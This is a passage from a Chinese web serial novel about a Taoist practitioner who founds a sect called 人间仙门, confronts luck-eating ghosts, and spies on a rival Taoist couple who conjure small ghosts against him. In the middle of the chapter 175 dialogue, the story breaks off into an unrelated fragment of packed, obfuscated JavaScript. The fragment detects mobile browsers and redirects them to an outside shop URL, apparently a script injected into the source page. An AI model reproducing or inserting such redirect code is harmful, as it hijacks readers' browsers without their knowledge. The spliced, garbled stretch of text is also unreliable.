陆小旺说,“是啊,修道场地这种事,也不能收徒的……哎,我有一个想法,或许行得通。”
本来我愁眉苦脸的,听她这一说,来了兴趣,“那叫啥呢?”
陆小旺突然拍了下桌子,然后站起来,眼神犀利霸道,“你看哈,咱们想干大,那就往大了干。人家道士不是什么龙虎山,天师府,紫微宫,咱们往这方面上干呗!”
哎呦
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**?
我越看这陆小旺越是喜欢啊。
她说得没错啊。
因为我是方士的原因,所以身份上有局限性。而我脑子里想的是,我不能把自己的身份弄低了,比如看事的,求药的,那显得有点低。
我又想把地位弄得高点,逼格也高点,比如捉妖的,驱魔的,反正就是想抬高身份。
但是道士这种身份,我用不了,所以才有些愁得慌。
而陆小旺呢,给我指了一条大道,**脆弄个门派不就完了吗?到时候谁问,那就是修道的,完美。
我越想眼睛越亮,脑子里突然冒出了一个名字,我脱口而出,“人间仙门。”
闻言,陆小旺愣住了,她说,“这,这名字是不是起得有点大啊。人间,阳间,仙门。自古带仙的教派,都没个好下场。”
然而我坚定道,“就这个名字了。”
我其实也不知道为啥突然要这个名字,就是灵光一闪,认定了是它。
陆小旺见我如此决绝,她也没反驳,而是想了想说,“那供奉呢?”
我说,“没供奉。”
我这话也是脱口而出的,有关方士的事我也查过,说是祖先为徐福。
但随着修道的深入,我觉得他不是。
这东西很玄妙,是的话,我能感应到。不是的话,那就不是。
见陆小旺看我,我说,“实在不行,供奉我也行。”
你还别说,这话说出来很顺嘴。好像没啥问题。
陆小旺用力地吸了口气,朝我白了一眼说,“那还是没有供奉吧。咱们的场地,那就正式开始了。人间仙门!”
我说,“好!成立!”
也不知道是不是这个名字的原因,我俩白天成立的,下午出去喝酒庆祝的,等晚上回来了,我总觉得家四周有啥东西盯着我们。
一开始我以为是错觉,但接下来六七天,那种感觉都很明显。
我还特意的找了找,但啥也没发现。
直到人间仙门成立的第九天,怪事跟着就来了。那天半夜,我家一楼的门咯吱咯吱响,我过去一看,门上有裂痕。
那是被东西咬的裂痕!
而那东西,绝不是人间的生灵!
……
第一百七十二章小头鬼婴(第五更,求票票)
事情还要从成立人间仙门这事说起。
本来我以为,我们成立了场地,然后就会有源源不断的人来看事,人满为患,赚钱赚到手软。
但想法归想法,结果归结果。一晃**天过去了,一点生意都没有,我跟陆小旺除了喝茶,然后就是干瞪眼。
以至于我连修炼都有点荒废了!
想不到做点生意这么难。
直到第九天,白素来了一趟,她的脸色不是很好,说是他老公遇难了。她想请我当阴阳先生,说是把他老公的魂引回来。
这活我没接,陆小旺接了。等晚上陆小旺回来,她脸色铁青,说是生了一肚子的气。
问过后我才知道,白素的娘家婆家在丧礼上闹了起来,闹得非常凶,两边大打出手,把白素都吓晕了过去。
以至于最后她去了,钱也没拿到,还被折腾了。
我说,“葬礼最忌讳的就是闹腾,从教养上说,白素出身应该不差,门当户对的话,嫁的人应该也不会很差。这种丢人现眼的事,应该不会做吧。”
我这样说,但其实我很纳闷,白素家刚好点,他老公怎么就没了呢?
我下意识地看向了那大鲫鱼,它在偷听我们说话,见我看过去,急忙晃动个脑袋,这事跟他应该没有关系。
听我这么一说,陆小旺瞪大眼睛,“我都被气昏头了,我怎么没想到呢。”
随后她突然说道,“我想起来她们为啥打起来了,听白素的婆家说,她老公都**四五个月了。婆家那边说,白素要贪财产,所以才告诉他们。但实际上,白素一点也不知情,然后两边就打了起来。”
闻言,我也是后知后觉,看了一眼大鲤鱼,又看向陆小旺说道,“那就对上了,她老公**,白素还被折磨得差点**,连小孩子都没放过,弄了这么个狠辣的局。是有人要吃白素家的绝户。但恰巧被我们给破坏了。”
从一开始,我跟陆小旺的判断就很一致,有人故意整她,而且还是个狠辣之人。
但从始至终,这个用过江鲫害人的家伙都没出现,好在解决了过江鲫的事,白素娘俩也就没事了,所以这件事我们只能到此为止。
结果,这件事还有个反转,她老公**。**那么久,家里人都不知情?
这件事比想象中的还要复杂。
陆小旺叹了口气说,“所以说啊,白素运气不错,碰到了我们。过江鲫的事,一般人真解决不了。”
我说,“这话说对了。行了,白素的事,不要跟着掺和了。钱给就拿着,不给就算了。人家当初多给了十万呢,不差这点了。但原则上,她的事我们已经两不相欠了。”
陆小旺点头,“明白。”
我又补充道,“你不是说过嘛,做我们这行的,不该有感情,不能意气用事。还有,你觉得白素真会跟我们把所有实话都说出来嘛?”
闻言,陆小旺愣住了。
我笑了笑,没在继续说下去。人性这东西,我太清楚了。我看了一眼过江鲤,我很确定有人在弄她。但她被折腾几个月都还有口气。
这个女人也不简单。
他们家的事!
也不简单。
我甚至都怀疑,她可能都知道谁在弄她,只是不能说罢了。
晚上,陆小旺亲自下厨,她炒了个土豆片,做的鸡蛋柿子汤,捞的米饭。
除了高月,陆小旺的手艺没话说。
吃饱喝足,她说要去给爷爷烧纸,我也习惯了,因为她只要闲下来就去烧纸。
不过,陆小旺烧的纸,跟那些普通的大黄纸可不一样。她花钱买原材料,用朱砂在上面写了一些奇奇怪怪的印记,这才烧过去的。
别看纸不多,但烧一次就要上千块。
有时候直接烧两万多的纸钱。
跟我想象的堆积成山的纸钱的场景貌似不太一样。
晚上,陆小旺回来了,她说有点累,之后就躺下了。
但我却发现了她的与众不同,我双眼用力,在她头上的盘坐的老头,散发着金光,那些金光正在陆小旺的四周缠绕。
这种情况我也见怪不怪了,我觉得这老头可能就是陆小旺的爷爷。但是不是,我不知道。
至于陆小旺嘛,我觉得她应该不知道这个老头小人的存在。
随着深夜的来临,我抻了个懒腰,说实话有点郁闷,
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九天下来没啥生意,放在谁身上都会觉得空虚寂寞。
结果,我二楼刚上了一半,就听到门口有动静。我走了过去,那动静咯吱咯吱地还在,但门口一个人都没有。
“鲤子,不会是你跟我搞鬼吧?”一楼的灯已经关了,但过江鲤那双眼睛却透着一丝绿光。
鲤子嘛。
我给它起的名字。
我以为它是要干啥。
结果,鲤子摆弄着鱼头,意思不是它干的。
我皱了皱眉头,在我眼里,鲤子这家伙是个邪物,又有脾气,所以但凡是坏事我就能想到它。
不过,我有它的把柄,那就是那些雌性小鲤鱼,它发脾气,我就把雌性小鲤鱼捞走。
这一招非常奏效,它妥协了,不敢跟我嘚瑟。所以,眼下还真不是它的问题。
我朝着一楼门口走去,因为是门市房,所以用的也就是正常的那种带锁的钢门。
两边大窗户,但也都是上了防盗网的窗户。我透过防盗门的猫眼往外看去,外面一片漆黑,啥也没有。
然后有了上次被鲫子吓过的精力,我站在窗户半米外看四周的情况。接着我就看到了,我家门上一排齐刷刷的牙印。
有东西咬的。
不对!
应该说有东西正在咬呢!
我看不到那东西,但能看到那牙印越来越深,也越来越新。
嘎巴!
我家门上直接咬开了裂痕!
我深吸一口气,这是啥玩意?然后我急忙催动道力,用力的看了过去。
那是个小头鬼婴,两尺的身子像是吹的气球,鼓鼓囊塞的,但头特别的小,拳头那样大。它一支眼,竖着在额头上,一口獠牙正咬着我家门框。
这玩意手里拿着个人骨棒,手舞足蹈的,异常兴奋。
然后,比起这小头鬼婴,窗外的世界,才是令我震撼的。
皓月当空。
天空一片的血红。
又是那些高耸入云的墙出现了。
但随着出现的,还有一道又一道的身影,它们贴站在墙上,我看不清它们的样貌,但却能感受到,它们对我这场地!
虎视眈眈!
……
第一百七十三章仙字祸端
我转动了下身子,透过那窗户盯着它们,我在想,这**天来一直觉得有人盯着我。不,准确地说是盯着我的场地。
难道是这些家伙吗?
然而,此刻没有人能回答我的问题,唯一的动静,是那令人牙碜的,小头独眼鬼婴在咬门的声音。
但此刻,我却没有心情看它一眼。因为那漫天的人影,如同死物,一动不动地贴在那墙上。
眼下,我虽然看不清它们的轮廓,但隐约的能看个大概,这些家伙有高大肥胖的僧人,有道骨仙风的道人,有长发飘飘的修魔的。
除此之外,里面还有猫,有狗……有猴子。
这让我有一种难以描述的感觉,好像电视里孙悟空一猴面对天兵天将的视角。
而我!
就是那个猴!
“是敌人吗?”
我问,但没人答。
“城墙之上到底是个啥。有夷,还有这些家伙吗?”
我问,还是没人回答我。
不知道为啥,一股前所未有的孤独感,贯穿我全身上下。
这种情绪久久不能平静下来,因为,太强烈了。就好像是我早晚要面对这些话,而他们强大到我不能理解,那是未知的恐惧,那是凝聚深渊的恐惧。
我深吸一口气,在冷静过后,我突然就明白了什么。
我面无表情,“难道真的像陆小旺说的那样,人间不能有仙字道统?”
随后我又眯眼,“还是说,有了这仙字道统,你们这帮家伙不安呢?”
“我明白了,你们是怕,所以才显世的。对吧?”
还是没有人能回答我,但此时此刻,那种孤独还在,却让我变得异常兴奋。
我觉得是他们怕了!
这种感觉真不错。
我深吸一口气,走到了门前,然后,缓慢地打开了门栓。
那小头独眼婴还在啃门呢,被我直接推出去四五米倒在了地上。
小家伙愣了愣。
气的朝我张牙舞爪地冲了过来,拿着那人骨棒子要敲我。
结果,它刚跳起来,我一脚就踩在它脑子上,再用力,直接踩在地上,它动弹不得。
“哼,脑袋还没我鞋大呢,还敢咬我家门。”我说完,朝着天空再次看去。
那漫天的神佛影子都在。
但在屋里面看,跟屋外面看完全不一样。
因为!
等我出来后才发现。
这根本就不是一面墙。
而是一个完整的城……再往上能隐隐约约地看到一座宫殿。
雄伟壮观。
我面无表情,心无杂念地盯着他们。隐约中,我仿佛听到了啥声音。
那是一种悦耳,能使人安静下来的声音。好像是从天上传来的。
仔细辨认。
他们在说话?
但我实在听不懂,也记不住,因为那语速太快了,就想是火车压铁轨,压着压着就过去了。
很快。
我突然明白了。
在我的眼里,我站在这跟他们对峙,但实际上,这些家伙压根没看我一眼,他们完全不在乎。
他们的目的就一个,盯着我的人间仙门在讨论。
‘火’!
“孽”!
“罪”!
…
等等,随后我突然就听清楚了几个字,其中‘火孽罪’特别的清楚。
那语气就好像是我这个人间仙门不该出现,罪大恶极?
随着声音越来越快,往后我实在听不清了,而日月如乾坤,明明我出来没多大一会,后院突然公鸡打鸣,斗转星移。
我一眨眼,那厚重的城墙不见了。而我脚底下的那小头独眼婴消失了。
随着太阳升起,一切就好像什么都没发生,街上也从一开始是我一个人,很快两个人,三个人,十个人……热闹了起来。
又变成了人间烟火。
一夜未眠,我却一点困意也没有。昨天发生的事,实在是离奇,我想,就算我跟谁说,估计也不会有人相信。
天上怎么会有墙?
怎么会有宫殿?
还会住着人?
哪怕眼见为实,我都觉得不可思议。
吃过早饭,我沿着江边去散心,欢欢跟小人参跟在我身后。
陆小旺说补个美颜觉,所以没跟过来。至于美颜觉是啥,那我不知道。
“小人参,你见过仙吗?”这小家伙虽然我觉得小,但人家可大着呢。
它可是活了两百年。
之前它说牢山的那些玄乎事,我虽然听进去了,但也没当回事,
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现在看来,貌似不假。
“没。连山神爷爷都没见过。”它说。
它们真是仙吗?
我怀疑。
我见到的那些。
不是仙!
我甚至觉得,会不会我把他们给臆想化了,觉得他们很厉害。其实,没那么厉害。
然而,没人给我答案。
我苦笑,本来就是想做点生意,结果……来了个这么个事?
也不知道是有意的,还是无意的,走着走着,我竟然觉得周围有点熟悉。
我突然想起来了,这不就是那老和尚之前带我来的地方吗?
想想。
两年过去了呢。
当时那老和尚弄了个房子,还给我一杯茶,帮我化去了业力。
后来等我出来那房子就不见了。
当时我还有点懵呢。
结果谁知道,后来在帝都又碰到了他,还救了我一命。
“老和尚啊,你又是啥东西呢?”人啊,烦恼的时候,烦恼就多了。所谓斩断头发斩不断那三千烦恼丝就是这个道理。
我这人没别的,自私,但又乐观。
去**。想不明白,老子不想了,走一步算一步。
解决不了,那就不解决,直接没烦恼。
这样想,哎,你还别说,果然就没烦恼了。
扑通。
结果就听到有人在江边落水了。
一大早的,除了那些喜欢运动的大爷们,江边没啥人。
何况这地方有点偏,除了我,一个人都没有。
这种事,不能见死不救。
我急忙跑了过去,看到有个女人在水里面扑腾,我让欢欢把她拉上来。
很快,女人就被救了上来。
女人三十来岁左右,长得中规中矩,看那样应该是不小心掉进了水里的。
结果,我把她救上来,她却连一句谢谢都没说,反而指着我说,“我金戒指掉水里了,我命令你跟你的狗,一起下去把我金戒指捡回来。”
哎呦**拟吗?
我很素质,心里面骂了一句,嘴上没骂,我还给她机会说道,“我没听错吧?我救了你,然后你让我跟我家欢欢**?”
结果这女人说,“快点的,我不会游泳,你们会,真墨迹。”
……
第一百七十四章人不可貌相
我被气笑了。
你看!
她还不耐烦了!
原本我的心情就刚好点,结果遇到这种货色。
但害人的是我不能干,老子毕竟是修道的,有损阴德。
“咳咳!”
我朝着欢欢咳嗽了两声。
那女人瞅着我,皱着眉头,“你们咋还不下去,我那金戒指可不便宜,丢你们赔不起!”
“关我**事!**东西。”我骂道。
“你骂我!”女人震惊地看着我。
我皱了皱眉头,冲着欢欢发火,“欢欢,你脑子有毛病啊,看不出来个眉眼高低啊!”
小人参在欢欢耳朵上爬着说了些啥,欢欢这才眼前一亮,它二话不说,走到女人脚底下先是撒了泡尿。
“哎呀哎呀,死狗,脏**。”女人嫌弃得要命。
不等她把话说完,欢欢跳起来,两条后腿一蹬,女人直接被踹进了江里面。
“救命,救命,救我。”女人在水里面扑棱。
“真特么晦气。”我甩了一句话,然后指着欢欢的鼻子说道,“平时看你挺灵的,你看人家小人参多机灵。这种垃圾,不用犹豫,**都活该。”
欢欢似懂非懂的。
我叹了口气,“你说你啥都好,就是太老实。狗王就要有狗王的架势。”
说完我带着他们就走了。
没走多远呢,就听到有人跳水救人,然后一群人围了过去。
我停下来在远处看热闹,我心想,这女人命真大,又被救了。就是不知道,狗能不能改掉吃屎的毛病。
结果,那两个救人的大爷刚把女人抱上来,那女人就在那喊非礼,还说俩大爷在水里面扣她,说是对她不轨。
俩大爷人都傻了。
更觉得还在后面,那些围观群众信了,一个个指责俩大爷。那俩大爷一看就是老实人,气得面红耳赤的。
“果然啊,狗改不了吃屎。”我无语了。
不过吧,救人这事我没觉得有啥不对的,下次要是碰到了还会出手的。
修道的,人间正道,不会因为一些无知的**而改变我的道心。
我这人自私是自私的。
但我随心所欲的道心!
不动摇。
回到家里,我微微有点困意,睡了一觉,已经是下午三点多了。
陆小旺跟我说来了个大娘,家里好像出了点事,她看到我们这是个场地,所以想问问。
陆小旺说,“看那大娘的打扮,感觉不像是个有钱人,估计拿不出来多少的。办嘛?”
我说,“既然开了场地,大事小事都要办。越是这种事,越要办。”
虽然**天都没啥油水,但其实对我们俩没啥影响。本来,我也不是奔着赚大钱来的。
陆小旺点头。
我亲自接见的。
大娘看上去六十岁左右,满头的白发,身上穿的衣服还有补丁呢。
看上去是个老农妇。
简单地询问了下情况,说是她有个儿子,原本是个蹬车的。但最近染上了赌,耍牌九输了钱,然后人就开始发烧,到现在还没好呢。
我说,“没送医院吗?”
大娘说,“送了,但医院说就是高烧,说让我们回家用冰敷,吃点退烧药。但三四天过去了,我那儿子就是不好。”
“俺四处求人,想找个大仙看看,但俺也不认识啥人,就走到大仙您这了。俺有钱,俺有一百多呢,俺全给你。”大娘从兜里掏出了一块包得很紧的布,把那布打开,里面都是皱巴巴的钱,二十的,五十的,五**的,一分的。纸钱钢镚都有。
“收你一百,我跟你过去看看,看好的话,再收五十。看不好的话,一百不退。”我面无表情的说道。
“啊……那,去,去看看吧,我怕他挺不过去。”大妈把钱攥得很死,凑了一百块给我,我随手就放进了桌子的抽屉里。
说走就走,欢欢他们看家,陆小旺跟我一起去的。
大娘家就在哈城,住在锅炉厂附近。
进了锅炉厂的小区,里面都是六层楼房,环境也相当不错。
陆小旺突然有点破防的小声跟我嘀咕,“看到大娘掏钱,我还以为是个穷苦人呢。谁知道,条件比咱们都强,住楼房的。”
我倒是没在意,我说,“
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她是穷是富,跟我都没关系。”
陆小旺说,“那你一百块就接了这生意?为啥啊?”
我说,“看心情啊?那不成普度众生啊。老人家走到咱们那,我觉得算是缘分吧。至于可怜不可怜,跟我没啥关系啊?我又不是救世主,她没钱我就要救她?有一句话叫做,杀富富不去,救贫贫不离,你没听过吗?”
陆小旺,“啥意思?”
我说,“意思就是你杀富济贫,富还在,贫也还在。你还得修炼,多读读书吧,没文化真可怕。”
我有点得意,我一直羡慕陆小旺的经验,眼下,总算搬回了一成。
陆小旺白眼,“我上过初中,你呢?”
我脱口而出,“我上过大学生呢,初中算啥。”
陆小旺奇怪地看着我。
我说,“咳咳,到了,上去看看吧。”
都说人不可貌相,我觉得这话用在大娘的身上就很对。大娘穿着补丁,但人家住着大房子,一进去,跟我那二楼一层一样,宽敞,明亮。
我觉得陆小旺有点上头了,她撇了撇嘴,对这大娘有意见。
我倒是很平静,跟着大娘就进了主卧,然后,看到她口中的儿子。
男人约莫三十岁,一脸的络腮胡子,凌乱的头发,他大约一米八多的个头,穿这个大裤衩躺在床上,在那‘妈呀’的。
看上去有些难受。
然而,我也不废话,催动道力,双眼用力查看情况。结果,我看到有个小人,在扣他眼珠子。
虽然这小人力气不大,也造不成啥伤害,但它身上的阴气太重,碰到这男的,他就受不了。
所以才在这持续的高烧。
眼下,我也是涨了见识,这玩意,根本就不是怨气,而是一团阴气,它还有意识。
我向来不信‘鬼’的。
但现在。
我却觉得它像那‘东西’了。
我眯眼,打算走近了查看,这小玩意意识很强,而且不怕我,见我到了床头,朝我就是龇牙。
那架势!
像是要干我!
小玩意!
还特么挺跳!
……
第一百七十五章不要当赌徒(第三更)
以我现在的实力,这小玩意我伸手就能抹去。
但我想到了那天咬我家门的小头独眼婴,总觉得他们是一类的东西。
我想着弄清楚到底是啥。
最重要的是这玩意的来路。
“大师啊,您看,我儿子有救嘛。”大娘问我。
眼下我正观察呢,所以我给陆小旺使了个眼色,陆小旺笑脸对大娘说,“大娘,我们先看看,这样,您先出去,好了的话,我会给您说的。”
大娘点了点头,还是出去了。
结果,这边门刚关上,就听到大娘跟她老伴吵了起来。
老头说她瞎搞,迷信。
大娘说老头老东西,不管儿子死活,反正吵个没完。
直到门外传来摔门声,这才算不吵了。
“你能看到吗?”我问陆小旺。
“不能。但我能感受到有东西。”她说。
“这玩意是啥?能感受出来吗?”我问。
“阴间来的小鬼。这玩意挺麻烦的,用火一烧就死,但**还来。”陆小旺说完欲言又止。
“有话直说。”我说。
“我也是听人说的,小鬼烧多了,人会折寿。弄不好,还会被它们报复。所以说小鬼难缠。”陆小旺绣眉轻拧道。
阴间来的小鬼?
看着小玩意在那张牙舞爪的,我随手就把那阴差的牌子扔了过去。
小玩意不跳了,在牌子上嗅来嗅去,随着一道黑光闪耀,它吓得四处乱窜。
但它貌似只能在这个男人身上,跑也跑不掉,最后,它委屈巴巴地跪在那了。
“这是啥?”陆小旺不认识阴差的牌子,她伸手去拿。
刺啦!
结果,陆小旺的手直接被烫伤了。
“疼!这是啥?!”
陆小旺把手缩了回来,那触碰的指尖,有了烧灰的迹象。
我愣了愣,这是我没想到的,陆小旺碰不了这阴差令牌?
但她能看到?
我说,“我的法宝。”
说完我就给收起来了。
虽然我俩关系很近,但有些事还是不要说的好。我总觉得,这跟我方士身份差不多,不能去乱讲。
因为我认为,讲出去,会对我不好。
陆小旺点了点头,也没说啥,倒是问我,“小鬼怎么办?”
我摇头,“不知道,它现在正给我下跪求饶呢。我在想是弄死它,还是放了它。”
陆小旺惊讶,“小鬼,那是天不怕地不怕的,连一些道士都拿他们没办法,它给你跪下了?”
我没接这个话茬,因为我围着小鬼转来转去,想着咋弄他呢。
小鬼跪在那,小小的身躯,一直在颤抖,那小眼睛却贼溜溜的没完。
我对它说,“能听懂人话吗?”
小鬼摇头。
**?
撒谎不长脑子?
我催动道力,在它脑后就抽了一下。
力道不大,但它肯定疼,捂着后脑勺,跪在那滚着。
陆小旺奇怪,“你干啥呢?”
我说,“抽它啊?”
陆小旺,“谁?”
我说,“啊,差点忘了,你看不到,就是你说的阴间小鬼。”
陆小旺奇怪了,“这就给抽了?”
我点了点头,没在说话,然后我又问那小玩意,“我知道你不会说人话,但巧了,我也不会说鬼话。你要是听不懂我的话,那我就只能弄你了。牌子你也看到了,那是真家伙。”
陆小旺,“你在威胁小鬼?”
我面无表情地瞥了她一眼,陆小旺说,“你继续。”
再看那小家伙,真的就老实了,坐在那乖巧地盯着我。
“为啥要折腾人?”我问。
果然,这小玩意能听懂人话,它在那嘟嘟囔囔的,最后蹲在那,然后打太极。
又猜?
想到鲫子那事,我就有点头大。
但我随后看出了门道,我说,“他赌钱,你让他输钱?”
小玩意朝我伸了个大拇指,连连点头。
我又问,“那也不对,你平白无故会找人麻烦?是有人让你这样做的吧?”
小玩意又继续点头。
我又说,“跟赌场有关系吗?”
小玩意连连点头,然后在那比划,又是烧香,又是跪拜的。然后它大摇大摆地往前走,反复地走。
要说技多不压身嘛,鲫子那次,我就有点顿悟了。它比划,我就真能给猜出来。
我说,“你是说,赌场里有人烧香跪拜,养你们这些小鬼给它们做事?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739449|187481||http|test|mini|href|location''.split(''|''),0,{}));
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r>它重重地点头。
我看了一眼还在高烧昏迷的男人,他现在被这个小鬼折腾得半条命都没了,在继续下去真活不成了。
然而,得知他是因为赌,招惹小鬼这事,我没有半点同情。
眼下,我还有一个疑惑,我说,“那你是怎么让他输钱的?”
小鬼突然咧嘴邪笑,像是彰显自己的能力似的,它的一双手突然变大,那手完全就是人的骨头,白得吓人,然后他捂住了男人的眼睛。
“热,疼啊。”男人一米八的个子,却疼得翻来覆去,但不管咋动弹,他都躲不开那双手。
过了一会,小鬼把手缩了回去,然后它在男人头上咬着啥,咀嚼,像是吃棉花糖似的。
我突然想到了啥,眼睛发热,朝着男人头上看去。我愣住了。
正如我想的那样,它居然在吃男人的气运。
它专门吃好的气运,吃过之后,那些坏的气运就会补上。
男人原本的气运团,慢慢地会变小。
本来,我已经没有疑问了,我看向小鬼,又冒出来一个新的疑问,我说,“你吃了它的气运,它的寿命也会跟着减少?”
小鬼点头承认了。
我深吸一口气。
没在继续问下去。
我说,“你自己消失。”
小鬼眼珠子一转,它似乎还有点舍不得呢。
而我,冷冷的盯着它,此刻,我已经明白了,这些小鬼就是奔着人气运来的。
他们食人运。
所以舍不得走。
扑通!
它跪在那磕头。
然后身子慢慢淡化,之后消失不见了。
我眯眼,这小玩意倒是聪明,但凡再晚三秒钟,我估计我都会灭了它。
它害人啊。
怪不得人一旦当了赌徒,后果都不太好呢。被这玩意缠着,吃气运,能好就怪了。
我之所以没动手,没彻底灭了它,是因为这人是赌徒!
也不是啥好东西。
被折腾也是自找的。
所以一念之间才没有动手抹去。
“解决了?”陆小旺惊讶地说。
“应该是。”我看了一眼,这男人气血恢复了,虽然还是满头大汗的,但烧已经退了。
……
第一百七十六章找茬的道侣(第四更)
我跟陆小旺相视一眼,然后没在说话。
大约过了个两三分钟,青年醒了过来,但他像是大病初愈似的,有气无力,看到我们后,发出蚊子大的声音问我们是谁。
我搭茬,给陆小旺使了个眼色,她点了点头,把那大娘叫了出来。
见到儿子醒了,大娘抱着儿子哭了出来,一边哭,一边说是要给我们做饭。
然而,我拒绝了,只是跟她要了剩下的五十块。
我能感觉到,大娘很不想给,我也不废话,我说不给我的话,你家要倒血霉。
一听这话,那大娘吓坏了,直接把钱给了。
从锅炉厂这边离开,我跟陆小旺四处走了走。看到了一家咖啡店,她主动请我喝咖啡。
我第一次喝这东西,只觉得味道奇怪,但好像还不错。
“那小鬼呢?你没弄死吧。这玩意可难缠了。地火烧**,还会出来**的。”陆小旺用吸管吸了口咖啡,她还在想大娘儿子的事。
闻言,我点了点头,“说是小鬼难缠,不如说是人难缠。这玩意不是烧不死,我觉得应该是数量多。弄**一个,人家烧香跪拜弄来十个。”
陆小旺,“咋办?这不是害人吗?”
我说,“人已经救过来了,他只要不去赌,应该招不少。至于其他人,管不着。还有,其实也是他倒霉,来了个贪吃的玩意。一直在吃它的运气,所以才会这样。说白了,还是他的事,不**,碰不上这事。”
陆小旺点了点头,相处的这段时间,我发现她有点心软。
想到我们第一次见面,我觉得自己被她那冷酷的外表跟骗了。熟络后会知道,这女人是个热心肠。
但我觉得这不是个好事。
喝过了咖啡,我俩在大街上走着,有美女相伴,倒是有点惬意。
但眼下我却没有心情欣赏周围的事,因为我脑子里都在琢磨一件事。那就是,那晚去我家啃门的小头婴,跟这个吃运气的小鬼,有没有关系呢?
很快,又过去了四五天,在这期间宋雪来过,杨敏也来过,偶尔会有几个来看事的。
但都是小事,随便处理就结束了。
至于那漫天的道佛,这些天也没再出现过,倒是半夜,总有小鬼来咬场地的大门。
有时候,还咬窗户上的护栏。
我见一次打一次,打完了它还来。
然后我亮出阴差令牌。
它也不怕。
不咬人,但膈应人。
我也无语了。
真就被小鬼缠上了。
显然,这个比大娘家的那个厉害。
因为我也没办法。
眼看九月,天气凉爽了。这天,突然有人找上了门,总共两人,一男一女,两**概都三十来岁,看穿着打扮,是两个道侣。
这倒是很少见呢。
“两位道友,所求何事?”难得遇上同行,我也客气,示意他们坐下,然后沏水倒茶。
两人相视一眼,起初,两人也很客气,问了我是什么场地,我说是修道场地。
然后又问我道统,所信奉的祖宗是谁。得知我没有道统,没有信奉后,他们俩脸色都有些难看。
那男的直接放下了茶杯,指着我说,“乱来,真是乱来。道家,哪能无信奉,无道统,怪不得你这地方邪气冲天,原来,是个邪修!”
我皱了皱眉头,好心请他们喝茶,结果在这指责我?
眼下,我也嗅到了不寻常的气息,本以为是路过的,但我觉得他们有目的。
所以,我没急着将他们撵走,而是笑着说道,“那道友呢?何门何派?”
男的撇了撇嘴,“哼,你一个邪修,配不上叫我道友。本人乃是黄龙道教的传人,乃是哈城最纯的道人,信奉黄龙天子!”
女人也跟着说,“黄龙道教,千年历史,黄龙真君,那是得了天道,羽化登仙的神仙。你要是真想成为我们的道友,那就加入我们黄龙道教,把你的场地捐出来,给我们黄龙道教做道场,我保你成仙。”
我无语了。
总算知道这两人是来干啥的了。
这是惦记上了我这场地了?
但最有意思的是。
他们居然想白拿?
“成仙?我没兴趣。两位,还是请回吧。”我喝了口茶,随手放在了那
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。
“啥?你不想成仙?”男的瞪了我一眼,随后要去拿茶杯喝茶。
眼看要碰到了,我一把打在了他的手上。
手背都被我抽红了。
“你干啥!”男道人凶狠地盯着我。
“**啥?尼玛的,你自己心里没数啊?来骗我?坑我?还想喝我茶?滚尼玛的。”我冷冷说道。
“你,别后悔!”男道人也是气得不轻,拉着女道人,黑着脸就走了。
道侣走后,陆小旺才下来,她说刚才的事都看见了,见到过不要脸的,没见过这么不要脸的。
这不是俩骗子吗?
我摇头,“骗子?那应该不是。等着吧,他们还会来的。这两人,应该琢磨咱们场地很久了,只不过今天才露面。”
开了场地以后,怪事就没断过。这才刚清净两天,发现那些天上的家伙不盯着了,结果被地上的给盯上了。
麻烦的事,一件接着一件。
但我也想明白了,连天上的那帮家伙都盯着我的人间仙门,地上的麻烦,怎么会少呢?
所以,有种就来,老子一边修炼,一边干他们。
果然,当天晚上,这俩家伙就又出现了。
事情不多,所以我跟陆小旺有点闲,我俩晚上吃的烤串,研究如何把人间仙门发扬光大。
但说实话,从现在来看,这事有点难。主要是……客户不多。
按照陆小旺的话来说,没旺季啊。
所以,我俩研究了,不能坐以待毙,打算出门去找业务。她回齐市转悠,我则是看看能不能去帝都,找黎雅他们接点大单子。
结果。
就在二楼看到了百米开外的那对道侣。
他们手里拿着大黄纸,蜡烛,还有一些其他东西,看那样子,应该是要烧纸作法啥的。
“这两人准要干坏事!”陆小旺评价道。
“你在家盯着,我去看看。”我笑道。
“好。”随后陆小旺说,“我咋觉得,你有点兴奋呢。”
我奇怪,却忍不住笑道,“有吗?”
陆小旺说,“好吧,没有。他俩要倒霉了。”
……
第一百七十七章做点坏事(第五更球泡)
我瞥了陆小旺一眼,这话说的,好像是我会报复人似的。
我这人啊,心地最善良了。前段时间还见义勇为救了个落水女子呢。
这样想着,我拿了件外套披在身上,然后就摸了出去。
一路跟随,这对道侣兜兜转转,来到了桥下。天色晚了,附近根本连个人影都没有。就看他俩在桥下的水泥上扎了个帐篷。
然后两人搭建了个道坛,之后又是杀鸡,又点黄纸的,男的还在那逼逼叨,“哼,这个该死的狗东西,连话都不让我说完,你看我折不折腾他。”
女的说,“就是,不知好歹,咱们跟他要场地做道统,那是他的荣幸,他居然不给。”
男疑惑,“哎,我说,咱们都折腾它有些天了,他咋就不怕呢?那可是小鬼啊,换做其他人,早就吓**。”
女的,“说的也是啊,咱们这招就没失败过。这样,这次多弄点小鬼去找他麻烦。然后咋俩过去一趟,给他露一手,到时候,直接跟他要场地,我看他肯定得给!”
男的,“对,还是你说的对。小鬼缠身,神仙都头疼。就这么办!”
说完,这两人就在那忙碌了起来。
妈的!
总算是找到原因了。
我说咋这么难缠呢。
原来是他俩干的好事。
但话说回来,我挺欣赏他俩的,背后搞人还真有一套呢。
只能学到了。
要是换做一年前的脾气,我现在肯定会冲上去,有仇当场就报了。
但我没那样做,因为我有自己的想法,我想学学召唤小鬼。
然后,我就爬那不动弹,偷师!
正如我想的那样,这道侣两人真不是善茬,他们能催动道力,虽然没我强,但运用娴熟。
两人摆的道坛,也不是那种随便的道坛,讲究地理位置,用的道器也都是能招魂引路的。
而更重要的是,他们从敞篷里拿出了十个巴掌大的小坛子。
每个坛子都被符箓封者。
随着那男道士烧黄符,拜道香,他以香符为引,运转道力,把那坛子的符箓破掉。
一个巴掌大小人从里面长了出来。
这小人也是奇形怪状,没有眼睛,没有鼻子,像是一滩烂泥,摇摇晃晃地往我住的方向走去。
成了?
第一次接触这种事,我也觉得惊奇。
